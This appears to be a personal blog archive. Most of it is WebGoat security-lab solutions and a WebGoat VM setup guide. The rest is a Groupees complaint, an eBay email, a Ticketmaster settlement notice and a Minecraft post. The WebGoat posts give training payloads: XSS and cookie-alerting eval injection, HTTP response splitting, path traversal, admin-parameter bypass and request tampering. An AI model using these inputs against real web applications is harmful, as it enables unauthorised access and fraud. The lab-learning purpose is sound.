Toaster Crumbs

Groupees.com Crashes

2012-02-15T09:10:00.000-08:00

Dear Groupees.com

Wow guys. There are two things that seem to have occured here:

1. You put together a Bundle that is super incredible and EVERYBODY wants a piece of it.
2. Your web servers are ancient, outdated, or simply unable to handle any sort of load.

The first is a fantastic sign, the second...not so much. I am extremely eager to get my hands on this bundle (and I'm sure tens of thousands of others are as well). So I'm hoping you all can get your systems up and running with a much higher load capacity.

Perhaps a waitlist system would work in the meantime (while you ramp up capacity for the next epic bundle). Honestly though, this is the most epic bundle since the Humble Indie Bundle 3 was released (which included HIB 1&2 inside it as well).

Cheers!
Hope you get up and running soon.
Humor4Fun

This is regarding the Be Mine Indie Game Bundle that they are supposed to be serving up as of 2012-02-14:12:00PM. But their systems crashed almost instantly yesterday and pre-instantly today. After yesterday's overload, they brought the site offline for a few hours with the promise to relaunch today at noon, but as of 12:00:15 (15 seconds after the launch went live) the system was down again.

WebGoat - AJAX Security

2012-01-23T08:46:00.000-08:00

LAB - DOM-Based Cross-Site Scripting (XSS)
Stage 1:
<img src=http://127.0.0.1/WebGoat/images/logos/owasp.jpg>

Stage 2:
<img onclick="Javascript:alert('xss')" src=http://127.0.0.1/WebGoat/images/logos/owasp.jpg>

LAB - Client Side Filtering
Inspecting the HTML we find this:

<tr id="112">
<td> 112 </td>
<td> Neville </td>
<td> Bartholomew </td>
<td> 111-111-1111 </td>
<td> 450000 </td>
</tr>

Same Origin Policy Protection
Click each of the links and oberve their results

DOM Injection
Intercept the HTML on incoming and modify the form to be (delete the disabled attribute)
<input type="SUBMIT" name="SUBMIT" value="Activate!">

XML Injection
Intercept the HTTP POST request that is sent when entering the ID into the ID field

Add the following lines
<reward>WebGoat Core Duo Laptop 2000 Pts</reward>
<reward>WebGoat Hawaii Cruise 3000 Pts</reward>

Then when the page loads, select those items and click submit.

JSON Injection
Intercept the HTTP GET request that is sent when entering the To: field

Edit the Cost field to be a lower price (particularly 300 in this case), then forward the request.

Select the cheaper flight, then click Submit.

Silent Transaction Attacks
Looking through the Javascript that is inside the page we find this:
function submitData(accountNo, balance) {
var url = 'attack?Screen=40&menu=400&from=ajax&newAccount='+ accountNo+ '&amount=' + balance +'&confirm=' + document.getElementById('confirm').value;
if (typeof XMLHttpRequest != 'undefined') {
req = new XMLHttpRequest();
} else if (window.ActiveXObject) {
req = new ActiveXObject('Microsoft.XMLHTTP');
}
req.open('GET', url, true);
req.onreadystatechange = callback;
req.send(null);
}

So a carefully crafted URL can be visited to simply perform the transfer:
http://127.0.0.1/WebGoat/attack?Screen=40&menu=400&show=NextHint&from=ajax&newAccount=23&amount=75&confirm=Confirm

Dangerous Use of Eval
Looking at the HTTP response alert syntax, we can craft an input that will inject an additional alert call with the cookie into it.

111');alert(document.cookie);('

Insecure Client Storage
Stage 1:
Looking at the Javascript we can simply see a list of Coupon codes. However they are "encrypted" using the simple Caesar encryption, so it is simple enough to decipher them.
Find a Javascript Executor and enter this code into it (included is one of the coupons)

Javascript:code = "EMPH"; alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";caesar = '';for (i = code.length ;i >= 0;i--){for (j = 0;j

When executed, this code alerts "GOLD" as the deciphered text.

Stage 2:
For stage 2 you will need a plugin for your browser. Simply "Make Fields Writable" and you can edit the "Price" field to be $0.00

WebGoat - Access Control Flaws

2012-01-23T08:27:00.000-08:00

Using an Access Control Matrix
Larry
Account Manager

Bypass a Path Based Access Control Scheme

Edit the HTTP POST header
File=\..\main.jsp

LAB - Role Based Access Control

Stage 1: Bypass Business Layer Access Control
Catch the HTTP Header and change action=DeleteProfile

Stage 2: Add Business Layer Access Control
Requires code changes

Stage 3: Bypass Data Layer Access Control
Catch the HTTP Header and change employee_id=102

Stage 4: Add Data Layer Access Control
Requires code changes

Remote Admin Access

Access this website
http://127.0.0.1/WebGoat/attack?Screen=114&menu=1900&admin=true
http://127.0.0.1/WebGoat/attack?Screen=115&menu=1900&admin=true

WebGoat - General

2012-01-23T08:25:00.000-08:00

HTTP Basics

Chris

HTTP Splitting

Stage 1:
?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0aInsert undesireable content here

Stage 2:
?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/htm%0d%0aLast-Modified:%20Fri,%2020%20Jan%20%203012%2023:23:23%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0aInsert undesireable content here

WebGoat Activities Solutions

2012-01-23T08:20:00.000-08:00

As a pre-post, I want to make note of what will be coming in the following posts.

Last week I worked through most of the OWASP WebGoat activities as part of my training exercises for Cigital. I documented the solutions I came across. Most of them were my own solutions, but some of them I required additional help, or internet searches. Some documents contain merely the answer, some contain a more in depth explanation of what to do and/or why that needs to happen to perform the exploit.

In a previous post I explained the process I went through to install WebGoat onto a Linux VM. I'm not sure why it was so difficult to work with and get it running, or why it wouldn't run when I tried to run it on my Windows 7 Pro x64 laptop, but getting it setup this time was a piece of cake.

Step 1: Download the package from OWASP
Step 2: Unpack the zipped archive
Step 3: Double click "webgoat.bat"
Done.

I used Burp (Burp Suite v1.4.01 by PortSwigger) as my proxy and a number of plugins for FireFox to perform the exploits, but these are simple a search away from being installed for you as well. I would venture a guess, however, that if you are reading this, either A: you have no clue what I am talking about; or B: you probably already have these types of tools installed or know where to get them.

If you are trying to work through this yourself, feel free to contact me if you think I could help you out. Otherwise I hope that these solutions can be useful for anyone who is struggling with the WebGoat activities. It is not intended to be a "cheat sheet."

--Humor4Fun
cholt@cigital.com

4 Year eBay Anniversary!

2012-01-18T16:05:00.000-08:00

Congratulations!
It's your 4-year eBay anniversary
humor4fun,
We want to say thanks and let you know how much we value having you as an eBay community member. All of us at eBay wish you the very best in the year to come.

Thank you!

John Donahoe
President and CEO, eBay Inc.

Class Action Lawsuit Against Ticketmaster

2011-12-09T11:19:00.000-08:00

SUPERIOR COURT OF THE STATE OF CALIFORNIA - COUNTY OF LOS ANGELES

CURT SCHLESINGER and PETER LO RE,
on behalf of themselves and the Class,
v.
TICKETMASTER, a Delaware Corporation,

No. BC304565
NOTICE OF PROPOSED
SETTLEMENT OF CLASS ACTION

This proposed settlement ("Settlement") is on behalf of a nationwide class of consumers (the "Class") who (1) purchased tickets on Ticketmaster's website, www.ticketmaster.com ("the Website") between October 21, 1999 and October 19, 2011 (the "Class Period"), (2) paid money to Defendant Ticketmaster for an Order Processing Fee ("OPF") that was not refunded, (3) did not and do not opt-out of the Class, and (4) were residents of one of the fifty United States at the time of their purchase.Excluded from the Class are (a) Ticketmaster, (b) any entities in which Ticketmaster has a controlling interest or which have a controlling interest in Ticketmaster, (c) the officers, directors, employees, affiliates, and attorneys of Ticketmaster, or (d) any employee or officer of the Court or their immediate family members.

The proposed Settlement is also on behalf of a nationwide subclass (the "UPS Subclass") of all Class Members who paid a delivery price for expedited delivery of their tickets via UPS (the "Delivery Price").

The Class asserts claims that Ticketmaster's OPF is excessive and deceptive. The UPS Subclass asserts claims that Ticketmaster's UPS delivery charges are excessive and deceptive.

If you are a member of the Class and do not opt out of this proposed Settlement as set forth below, the Settlement will resolve your claims if approved by the Court.

On May 29, 2012 at 8:30 a.m., there will be a Final Approval hearing for the Court to determine whether to approve the settlement described below. The hearing will be held before Judge Kenneth R. Freeman, in Department 64 of the Superior Court of the State of California for the County of Los Angeles, located at 111 North Hill Street, Los Angeles, California 90012.

The proposed Settlement will provide a combination of benefits to the Class and UPS Subclass. Additionally, Lead Class counsel (identified below) will apply for up to $16.5 million in attorneys' fees and expense reimbursements to counsel for the class and for an incentive award of $20,000 to each of the class representatives. Ticketmaster has agreed not to oppose that request and the Court will decide how much to award to Class counsel and the class representatives. The specific terms of the settlement are described in a Settlement Agreement and Release. This Notice does not change the terms of the Settlement Agreement, and is intended as a short summary of that document, which will be made available for your review on the Litigation Website as described below. In the event of any conflict between this document and the terms of the Settlement Agreement, the terms of the Settlement Agreement will govern.

SUMMARY OF YOUR LEGAL RIGHTS & OPTIONS¹
(DETAILED DESCRIPTION FOLLOWS)

OPF CLAIMS - ALL CLASS MEMBERS

RECEIVE TICKETMASTER CREDITS

If you take no action, and the settlement is approved by the Court, you will automatically receive, via email at the most recent email address associated with your purchases on Ticketmaster.com, discount codes ("Codes") which can be used for future purchases for U.S. events from Ticketmaster's Website (except for events at venues owned or operated by AEG as set forth in the Settlement Agreement). For each transaction that you made during the Class Period, you will receive one code via email for a $1.50 discount, up to a maximum of 17 codes. This does not include the additional benefits, for the UPS Subclass members, which are described below. The Codes may be combined up to a maximum of two credits ($3.00) that may be applied on future transactions as described above. The Codes are non-transferable, expire 48 months from distribution, and may be redeemed only for purchases made using the email address to which they were sent (or an updated address provided to the Claims Administrator or Ticketmaster and verified as belonging to the Class Member).

UPS SUBCLASS MEMBERS

RECEIVE ADDITIONAL CREDITS FOR UPS OR OTHER OVERNIGHT SHIPPING (IF AVAILABLE)

If you are a member of the UPS Subclass, you will be entitled to additional relief under the Settlement. Specifically, for each transaction you made using UPS delivery of your tickets (up to 17 transactions), you will receive one UPS code ("UPS Code") via email, for $5.00 off subsequent expedited delivery fees on purchases from Ticketmaster's Website (except for events at venues owned or operated by AEG as set forth in the Settlement Agreement) of tickets that are shipped via UPS or some other form of overnight delivery that Ticketmaster may offer in the future. These UPS Codes may not be combined, and only one UPS Code may be used per transaction. However, this benefit may be used for a ticket order together with the OPF Code described above. The UPS Codes are non-transferable, expire 48 months after they are first usable, and may be redeemed only for purchases made using the email address to which they were sent (or an updated address provided to the Claims Administrator or Ticketmaster and verified as belonging to the Class Member).

ALL CLASS MEMBERS

OBJECT TO THE SETTLEMENT

You may file an objection and ask the Court not to approve the settlement. You may object to or oppose any aspect of the settlement, including the relief provided to the Class or UPS Subclass and/or the attorneys' fees and expenses and/or the incentive award requested for the Plaintiffs who brought this suit. In order for any objection to be considered, you must file a written statement with the Court, and provide a copy to Lead Class Counsel and Ticketmaster's Counsel at the addresses listed herein, by February 16, 2012. You may retain an attorney at your own cost to represent you in connection with any such opposition or objection.

ALL CLASS MEMBERS

OPT OUT OF THE SETTLEMENT

You do not need to take any action to enjoy the benefits of the Settlement, other than to meet the requirements for being a member of the Class and UPS Subclass, as applicable. If you elect to opt out and be excluded from the lawsuit, the Court will exclude you from the Class and UPS Subclass, as applicable, and you will not enjoy any benefits under this Settlement.
If you do not wish to participate in the Settlement, you must say so in writing. Your written request to be excluded must include your name and email address. To be effective, the exclusions must be submitted on-line or mailed by February 16, 2012. An exclusion may be either completed on-line atwww.ticketfeelitigation.com or be mailed in an envelope by U.S. Mail or sent via email to the Claims Administrator, The Garden City Group, Inc. at the following addresses:
Mail:
Schlesinger v. Ticketmaster
c/o The Garden City Group, Inc.
P.O. Box 9731
Dublin, OH 43017-5631
Email: ticketfeelitigation@gcginc.com
If you do not exclude yourself, you will be represented as a member of the Class and UPS Subclass, as applicable, by Lead Class Counsel who are identified below and have been appointed by the Court to serve as class counsel. You will also release all claims against Ticketmaster as summarized below and as set forth in detail in the Settlement Agreement.

1. WHAT THIS CASE IS ABOUT:

Plaintiffs have alleged that Ticketmaster deceived and misled customers by representing that the Delivery Price was a pass-through of the amount that UPS charged Ticketmaster for that delivery and that Ticketmaster's OPF was also deceptive and misleading in that it did not actually represent Ticketmaster's costs in processing orders but rather was a profit generator which Ticketmaster required customers to pay.

Ticketmaster denied all of these allegations, and has defended this litigation for the past eight years. In addition to denying the merits of Plaintiffs' claims, Ticketmaster opposed Plaintiffs' request that the Court certify this case as a class action.

On February 5, 2010, the Court certified the case as a class action only on behalf of California residents who purchased tickets from the Website, including a subclass of consumers who also purchased UPS delivery for those tickets. Plaintiffs appealed that decision, to the extent the Court did not include consumers residing outside of California. In September, 2010, the Appellate Court ordered that the case should be certified as a nationwide class action, and the trial court thereafter issued an Order certifying a nationwide class covering purchases made from the Website from October 21, 1999 through May 31, 2010. In October 2010, pursuant to Court Order, Notice was sent via email, and published in the USA Today, advising members of the foregoing class of the certification and of their opportunity to opt-out of this case. Accordingly, this case is proceeding as a class action on behalf of that class. The class also has been expanded, by stipulation of the parties and order of the court , for purposes of this Settlement only, to include all consumers who (1) purchased tickets on Ticketmaster's website from June 1, 2010 through October 19, 2011, (2) paid money to Ticketmaster for an OPF that was not refunded, (3) did not and do not opt-out of the class, and (4) were residents of one of the fifty United States at the time of their purchase.

2. WHY THIS NOTICE IS BEING PROVIDED TO YOU:

After several mediation sessions before an impartial mediator, the parties have reached the proposed Settlement for this case on behalf of themselves and all Class Members and UPS Subclass Members. If you have received this notice by email, that is because Ticketmaster's records reflect that you are a member of the Class, and some members of the Class also are members of the UPS Subclass. The purpose of this notice is to inform you of the terms of the Settlement, the benefits available to you under it, how this lawsuit and the Settlement may affect your legal rights, important upcoming deadlines relating to the Settlement, and the steps you must take if you want to object to or opt out of the Settlement.

3. SETTLEMENT TERMS: If the Court approves the settlement, it will provide the following:

A. Monetary Benefits To Class Members.

(a) Class.
Each Class Member who (i) has an eligible claim, (ii) has not been convicted of a felony pertaining to his/her purchases of tickets over the Website and certifies that he/she has not been so convicted and also certifies that he/she did not use computer "bots" or other software to disguise his/her true identity and/or avoid the tickets per transaction limits on the Website, and (iii) has not filed a timely opt-out, as applicable, shall receive the following benefits: a code ("Code") for each purchase transaction (i.e. per order, not per ticket) entered into from the Website during the Class Period, (up to a maximum of 17 transactions/codes) entitling each Class Member to a credit in the amount of one dollar and fifty cents ($1.50) per transaction which will be deducted from future purchases from Ticketmaster on the Website for events occurring at venues located in the United States (excluding events at venues owned and operated by AEG). The Codes may be combined, up to a maximum of two credits totaling three dollars ($3.00). The Codes are non-transferable.
(b) UPS Subclass.
Each UPS Subclass Member who (i) has an eligible claim, (ii) has not been convicted of a felony pertaining to his/her purchases of tickets over the Website and certifies that he/she has not been so convicted and also certifies that he/she did not use computer "bots" or other software to disguise his/her true identity and/or avoid the tickets per transaction limits on the Website, and (iii) has not filed a timely opt-out, as applicable, will receive the following benefits (unless the payments you made for UPS already were refunded - for example, where you cancelled your purchase order on the same day you made the purchase order): for each purchase up to 17 transactions (per order, not per ticket) made over the Website during the Class Period, a credit in the form of a code (or codes) e-mailed to the UPS Subclass Member for five dollars ($5.00) off the Delivery Price on subsequent purchases from Ticketmaster on the Website of tickets that are shipped via UPS for events occurring at venues located in the United States (but excluding events at AEG owned and operated venues). These codes cannot be combined or aggregated (i.e. only one code may be used per order) and are non-transferable. A UPS Code may be combined with a ticket purchase Code, however.
(c) Issuance of Codes. Ticketmaster (or, at Ticketmaster's election, the Claims Administrator) will send the codes to Class and UPS Subclass Members at the last-known e-mail address in Ticketmaster's database within thirty (30) days after Final Approval² but in no case prior to August 28, 2012, with instructions that they may be redeemed over the next forty-eight (48) months.

(d) Limitations on Redemption of Codes. Codes may be redeemed up to 48 months after distribution, at which time they will automatically expire. Codes may only be redeemed through the e-mail account to which they were sent unless the e-mail account is updated and verified (by Ticketmaster or the Claims Administrator) to belong to the same member of the Class or UPS Subclass, as applicable.
(e) Guaranteed Redemption Amount/Charitable Contributions. In the event that the minimum aggregate value of the OPF and UPS credit benefits redeemed in any given year during the forty-eight (48) month redemption period is less than $11.25 million, Ticketmaster shall make charitable contributions in amounts equaling the difference between $11.25 million and the aggregate value of the redeemed credit benefits that year. The aggregate guaranteed minimum redemption/cy pres amount for the settlement is $45 million. The charitable payments shall be made in the form of a combination of cash and tickets provided free of charge to appropriate charities, on the terms set forth in detail in the Settlement Agreement.

B. Non-Economic Settlement Terms And Benefits To Class Members.

1. Administrative Fees. Ticketmaster will pay the fees and costs charged by the Claims Administrator for administering the Settlement.
2. Website Changes. Ticketmaster has agreed to change its Website to add disclosures clarifying that Ticketmaster's OPF may include a profit and is not limited to its order processing costs, and that its Delivery Price for expedited delivery via UPS may include a profit to Ticketmaster and is not the same as what UPS charges Ticketmaster. The language of the changes to the Website has been left to Ticketmaster's reasonable discretion and may be changed again by Ticketmaster in the future to suit its business needs.

C. Release of Claims. The complete release is contained in the Settlement Agreement. In summary, if the Court grants final approval of the Settlement, you will be deemed to have fully and finally released and discharged Defendant Ticketmaster and its related entities from any and all claims relating in any manner to the allegations made in connection with the claims alleged by Plaintiffs in this case. If you want more details about the scope of the release, you should read the Settlement Agreement which is posted on the Litigation Website.

The release also covers any and all claims for attorneys' fees, costs or disbursements incurred by Lead Class Counsel or any other attorneys for services rendered or value provided to the Class or the UPS Subclass. Nothing in the release precludes any action to enforce the terms of the Settlement Agreement. Insofar as this release extends to venues, the Released Claims shall not extend to any claims relating to the Face Value of Tickets (as defined in the Settlement Agreement). The Release also does not extend to any claims based on a breach of this Agreement.

D. Attorneys' Fees and Costs. You will not be required to pay any attorneys' fees or costs from your share of the Settlement. Lead Class Counsel will file with the Court an application (the "Fee Motion") in this action for an award of up to fifteen million US dollars ($15,000,000) in attorneys' fees, which, if awarded by the Court, would represent a "multiplier" of approximately 2.5 times Lead Class Counsel's "lodestar." The lodestar is computed by taking the amount of time spent working on this case, multiplied by Lead Class Counsel's hourly rates. Lead Class Counsel has informed the Court that its lodestar is approximately $6.5 million, from the beginning of this case in 2003 through September 26, 2011. Lead Class Counsel will also seek to recover the amount of costs and expenses they have incurred, up to a cap of one million five hundred thousand dollars ($1,500,000). The parties have agreed that any award of fees and costs shall not exceed those amounts and that Ticketmaster will pay any amounts, up to these limits, awarded by the Court in addition to the relief provided to the Class.

E. Incentive Payment To Named Plaintiffs. In connection with the Final Approval hearing, Plaintiffs' counsel will ask the Court to award an incentive award not to exceed $20,000 each for the two named Plaintiffs who brought this case, were certified as class representatives, and who have been required to respond to substantial discovery requests from Ticketmaster over the past eight years. If the Court approves the request, any attorneys' fees awarded by the Court will be reduced by the amount of the incentive award. The incentive award will not reduce any of the benefits to the Class members.

ADMINISTRATOR CONTACT INFORMATION: The Claims Administrator in this matter is The Garden City Group, Inc. You may reach the Claims Administrator by e-mail, fax, mail or telephone using the following contact information:

Mail:

Schlesinger v. Ticketmaster
c/o The Garden City Group, Inc.
P.O. Box 9731
Dublin, OH 43017-5631

Email: ticketfeelitigation@gcginc.com

Toll-free telephone number: (877) 317-9139

PLAINTIFFS' ATTORNEYS AND PLAINTIFFS SUPPORT SETTLEMENT: Plaintiffs' attorneys and Plaintiffs support this Settlement. Among the reasons for their support include the benefits provided to the class, the fairness of the Settlement terms, the inherent risk of litigation at trial and/or appeal, and the delays associated with continued litigation, including a trial and appeals, the uncertainty of Plaintiffs' claims, as well as other legal issues that have not yet been determined by the Court. Class Counsel believes that the Settlement is fair, reasonable and adequate in light of all the circumstances and in the best interests of the Class.

HOW TO OBTAIN ADDITIONAL INFORMATION.

The Claims Administrator has set up a website at the URL <www.ticketfeelitigation.com> for the purposes of allowing class members to update their email information, and to provide them additional information regarding the lawsuit. The Litigation Website includes copies in downloadable .pdf format of this notice, the Settlement Agreement, the most recent version of the Complaint in this case, the Motion for Preliminary Approval of this Settlement filed by Plaintiffs' attorneys, and the Court Order granting Preliminary Approval. The Litigation Website also provides a means for class members to make inquiries electronically to the Claims Administrator regarding this Settlement and other important information relating to the Settlement.

Additionally, any class member is free to inspect the Court file, which is located at 111 North Hill St., Los Angeles, California 90012.

FINAL APPROVAL OF THE SETTLEMENT: The Court has set a hearing regarding final approval of the Settlement, Incentive Award Motion and Fee Application for May 29, 2012 at 8:30 a.m. in Department 64 of the Los Angeles Superior Court, located at 111 North Hill Street, Los Angeles, California 90012. The Final Approval Motion, Incentive Award Motion and Fee Application will be filed with the Court no later than April 2, 2012. All pleadings, motions and applications are or will be publically available in the court file in advance of the final approval hearing. If you file a timely objection as and when set forth below, you may (but are not required to) supplement your objection by timely filing a written opposition to any specific motion or application that has been filed with the court, in accordance with the California Code of Civil Procedure. Any supplemental oppositions must be served on Plaintiffs' counsel and Ticketmaster's counsel by personal or overnight delivery at the addresses below no later than April 16, 2012. The Settlement will not be final and will not take effect unless and until 5 days after Final Approval of this Settlement as "Final Approval" is defined in footnote 2 below and in the Settlement Agreement.

At the fairness hearing, Lead Class Counsel will ask the Court, Hon. Kenneth R. Freeman, to find that all aspects of the Settlement Agreement are fair, reasonable and adequate and approve the settlement in its entirety, which includes entering a Judgment granting all of the relief to the class members identified above, and the attorneys' fees, expenses, and incentive awards.

Any class member who files a timely objection may appear at the fairness hearing (either in person or by an attorney) and have his or her objections heard by the Court.

RIGHT TO OBJECT TO THE SETTLEMENT:

You have the right to object to any aspect of the proposed Settlement, including the relief provided to the Class members and/or the attorneys' fees and expenses, and/or the incentive awards, and may appear personally or through counsel at the hearing and object to the approval of the Settlement. Even if you object to the Settlement, you may still be entitled to share in the Settlement proceeds. The following is a summary of the requirements for filing an objection. For complete details, please review the Settlement Agreement, available at www.ticketfeelitigation.com.

To be valid and considered by the Court, any objections by you must be submitted in writing, must be filed with the Court and served by mail and/or email on Defendants' Counsel and Lead Class Counsel by February 16, 2012 and must and include the following information: (1) a heading referring to the Action; (2) your name, address, telephone number, email address, and the contact information for any attorney retained by you in connection with the objection; (3) any email addresses used by you in connection with the purchase of tickets from the Website during the Class Period and, to the best of your ability, the identification (description, date and location of the event, date of ticket purchase, number of tickets purchased, and whether or not the tickets were delivered by UPS) of all purchases you made from the Website during the Class Period; (4) a detailed statement of each objection you are making and the factual and legal basis for each objection, and the relief that you are requesting; (5) a statement of whether you intend to appear, either in person or through counsel, at the Final Approval Hearing. If you intend to appear through counsel, you must identify the counsel's name, address, phone number, email address, and the state bar(s) to which the counsel is admitted, and any Points and Authorities in support of your objections must contain any and all legal authority upon which you will rely; (6) a list of and copies of all exhibits which you may seek to use at the Final Approval Hearing; and (7) if you are going to request the Court allow you to call witnesses at the Final Approval Hearing, you must provide a list of any such witnesses together with a brief summary of each witness' expected testimony at least thirty (30) days prior to the Final Approval Hearing. The failure to provide this list of witnesses shall bar them from testifying at the hearing. However, submitting this list does not guarantee that the witnesses shall be allowed to testify. The ability of any witness to testify is subject to any objections that may be raised by any Party and subject to the normal rules and discretion of the Court.

Any counsel retained by you in connection with an objection shall identify all objections they have filed to class action settlements from January 1, 2008 to present, and identify the results of each objection, including any Court opinions ruling on the objections. Objector's counsel shall also identify if they have ever been sanctioned by a Court in connection with filing an objection.

If you file an objection, you must make yourself available for deposition upon ten days written notice. The deposition must be taken within 40 miles of your residence, unless you agree to a different location.

WHAT HAPPENS IF YOU DO NOTHING AND DO NOT EXERCISE YOUR RIGHT TO OPT OUT OF THE SETTLEMENT:

If the Court grants final approval of the Settlement, and if you do not properly and timely opt out of the Class by sending a written request to opt-out to the Claims Administrator identified above either by mail postmarked on or before February 16, 2012 or by e-mail sent by no later than 5 p.m. Pacific Daylight Time on February 16, 2012, then you will automatically be included in the Class and the Subclass, as applicable. You will be bound by the terms of the Settlement Agreement and any Court Order approving the Settlement and Judgment, and will release your claims against Ticketmaster.

An original and one copy of any objections you prepare shall be timely filed with the Court at the following address: Los Angeles Superior Court, Department 64, 111 North Hill Street, Los Angeles, California 90012. Copies of all documents filed with the Clerk of the Court must also be sent to Plaintiffs' counsel and to Ticketmaster's counsel at the following addresses:

Plaintiffs' Counsel / Lead Class Counsel

Steven P. Blonder, Esq.
Much Shelist Denenberg Ament & Rubenstein, P.C.
191 North Wacker Drive
Suite 1800
Chicago, Illinois 60606
Telephone: (312) 521-2000
Facsimile: (312) 521-2100
Email: sblonder@muchshelist.com

W. Michael Hensley, Esq.
Robert J. Stein III, Esq.
AlvaradoSmith
1 MacArthur Place, Suite 200
Santa Ana, California 92707
Telephone: (714) 852-6800
Facsimile: (714) 852-6899
Email: rstein@alvaradosmith.com; mhensley@alvaradosmith.com

Ticketmaster's Counsel

Jeff E. Scott, Esq.
Greenberg Traurig, LLP
2450 Colorado Avenue, Suite 400E
Santa Monica, California 90404
Tel: (310) 586-7700
Fax: (310) 586-7800
Email: ScottJ@gtlaw.com

Any objection or opt-out request that fails to satisfy the requirements of the Settlement Agreement, or that is not properly and timely submitted, shall be deemed ineffective, may be disregarded by the Court, and may be deemed to have been waived, and the Class Member asserting such objection or opt-out request shall be bound by the final Judgment of the Court.

IF YOU DO NOT OPPOSE ANY ASPECT OF THE PROPOSED SETTLEMENT, YOU NEED NOT APPEAR AT THE HEARING OR FILE ANY PAPERS.

RESOLUTION OF DISPUTES. If there is a dispute regarding your settlement amount, or any other aspect of your participation in the Settlement (other than objections as set forth above), the dispute shall be decided by the Honorable John Wagner (Ret.).

INQUIRIES: Any questions concerning this notice should be directed by email to ticketfeelitigation@gcginc.com, or by U.S. mail or telephone to the Claims Administrator using the contact information set forth above.

Please do not contact the Court or Defendant's attorneys.

¹You are not entitled to any benefits under this Settlement if you have been convicted of felonies pertaining to the purchase of tickets over Ticketmaster's Website or have used "bots" or other software to disguise your true identity and/or avoid the "tickets per transaction" limits on the Website. You will be required to certify that you are not so disqualified at the point of purchase.

²"Final Approval" shall be five (5) days after the date that an Order by the Court granting final approval of this settlement becomes non-appealable. "Non-appealable" shall mean that no party, including objectors, if any, has a right to appeal to, or seek reconsideration in, the California Court of Appeal, the California Supreme Court, or the U.S. Supreme Court or, to the extent any appeals have been filed, they have been resolved or exhausted.

Update: WebGoat VM

2011-11-30T13:29:00.000-08:00

So it actually took me quite a bit more work to get things running after I finished writing that first post.

However I did get it up and running wonderfully. What I'll do is upload the VM files so anyone interested can download them and you won't even need to go through any setup steps.

Coming Soon: Ubuntu 11.10 hosting WebGoat 5.3_RC1 VirtualBox VM download links

Running WebGoat (OWASP) in an Ubuntu VM

2011-11-30T11:43:00.000-08:00

In anticipation of getting a new job in software security, I was informed of the OWASP WebGoat project, and told I should run through some of the exercises. Naturally, the first thing involved is setting up an environment to work in.

Of course, I tried to use my work computer (setup as a Java dev environment in Win7 pro x64) but that quickly became complex. So I decided to create a Virtual Machine to simplify everything and sandbox the whole endeavor.

What follows are a journal of the steps I performed to get WebGoat running in Ubuntu 11.10 VirtualBox VM.

1. SetupVirtualBox + VM
Download/Install Oracle VirtualBox VM [link]
Download/Extract Ubuntu 11.10 prebuilt VirtualBox VM [link]
Run VirtualBox and import the Ubuntu VM

2. Setup Ubuntu root user
Login to as ubuntu with password [reverse]
Open a Terminal [ctrl+alt+t]
Activate root account [sudo passwd root]
Create a password [passwd]
Gain root access [su root]
Enter root password [passwd]

3. Setup Java
Download/Install Java7 JRE+JDK+Docs [apt-get install openjdk-7-jre openjdk-7-jdk openjdk-7-doc]
Download/Install Browser plugin to run Java Applets [apt-get install icedtea6-plugin]

4. Setup WebGoat
Download/Install .7z extractor [apt-get install p7zip-full rar arj lha]
Download Webgoat [link]
Right click the WebGoat.7z file, select [Open with Archive Manager]
Select the folder, extract to the Desktop
Close Archive Manager
(you can delete the .7z file if you want)
Move WebGoat folder [mv WebGoat-5.3_RC1 /usr/local]
Open the folder [cd /usr/local/WebGoat-5.3_RC1]
Change R-W-E settings on file [chmod 775 webgoat.sh]
Backup the file [cp webgoat.sh webgoat.sh.orig]
Open file for editing [vi webgoat.sh]
Add [a; export JAVA_HOME=/usr/lib/jvm/default-java] after the line with CATALINA_HOME
Save and exit vi [escape; :wq]
Type [exit]
Type [exit]

5. Setup WebScarab
Download WebScarab [link]
Go to the folder you downloaded it to
Open Terminal [ctrl+alt+t]
Type [su root]
Enter password [passwd]
Install WebScarab [java -jar ./webscarab-installer-20070504-1613.jar]
[Next]
[Next]
[Accept; Next]
[Next]
I added the shortcut to the desktop [Next]
[Done]

6. Setup FoxyProxy for FireFox
Download/Install FoxyProxy [link]
At this point, firefox wanted to 'install missing plugins.' Fine with me.
Tools>[blank]>Options (or ctrl+F2)
Create New Proxy
General Tab: Proxy Name=[WebScarab]
Proxy Details Tab: Host or IP Address=[127.0.0.1]; Port=[8080]
URL Patterns Tab: Add New Pattern: Pattern Name=[WebGoat]; URL Pattern=[http://*127.0.0.1/WebGoat/*]
[OK]
[OK]
Select Mode: [Use proxies based on their pre-defined patterns and Priorities]
[Close]

You should close all your windows/terminals at this point and cleanup any files if they bother you.

7. Starting All the Software
Open a Terminal [ctrl+alt+t]
Run WebScarab [java -jar /home/ubuntu/WebScarab/webscarab.jar] (case sensitive)
You should see WebScarab load up
Leave this Terminal open...

Open a Terminal [ctrl+alt+t]
Open WebGoat folder [cd /usr/local/WebGoat-5.3_RC1/]
Run WebGoat [./webgoat.sh start80]
When you see a line like this [INFO: Server startup in 7807 ms] the server is running
Leave this Terminal open...

DONE

Now you should be ready to access WebGoat via the link:
http://127.0.0.1/WebGoat/attack

login: guest
password: guest

Good luck playing with WebGoat. I do not intend to write any further guides on this subject. I would assume that this guide also applies to a VMWare virtual machine, however I used a prebuild VirtualBox VM so some user, package, and folder settings may be different if you are using a Vanilla installation.

Setting Up a Minecraft Server, Part 4 - Choosing an OS

2011-11-09T08:03:00.000-08:00

Picking an Operating System may seem like a simple, and nonsense step. You may be thinking "I can just use my desktop/laptop, it's built for gaming so I can definitely run this server there." While you can definitely run the server, it will not run to the best of it's ability.

At first glance you may be thinking of a few different options that are popularly thrown about:
Windows (XP, Vista, 7)
Ubuntu (9, 10, 11)
Mac OSX (Leopard, Snow Leopard, Lion)

But here are a few that you perhaps haven't heard of:
Fedora 15
CRUX Linux
RedHat Linux
Windows Server (2008, 2011)

And then here are two that I've found specifically built for running a Minecraft Server:
MineOS
MineOS CRUX

NOTE: I do not distinguish between the 32- and 64-bit versions of these operating systems. While this is not (in my opinion) a particulary important decision, it is important that you understand which version you choose and that all server-side software you install is compatible (and designed/built for) that version of your operating system.

After seeing these option, you are probably thinking what I was: "Somebody built a Linux distribution specifically optimized for running Minecraft servers? TOTALLY PICK THAT ONE!" So I did.

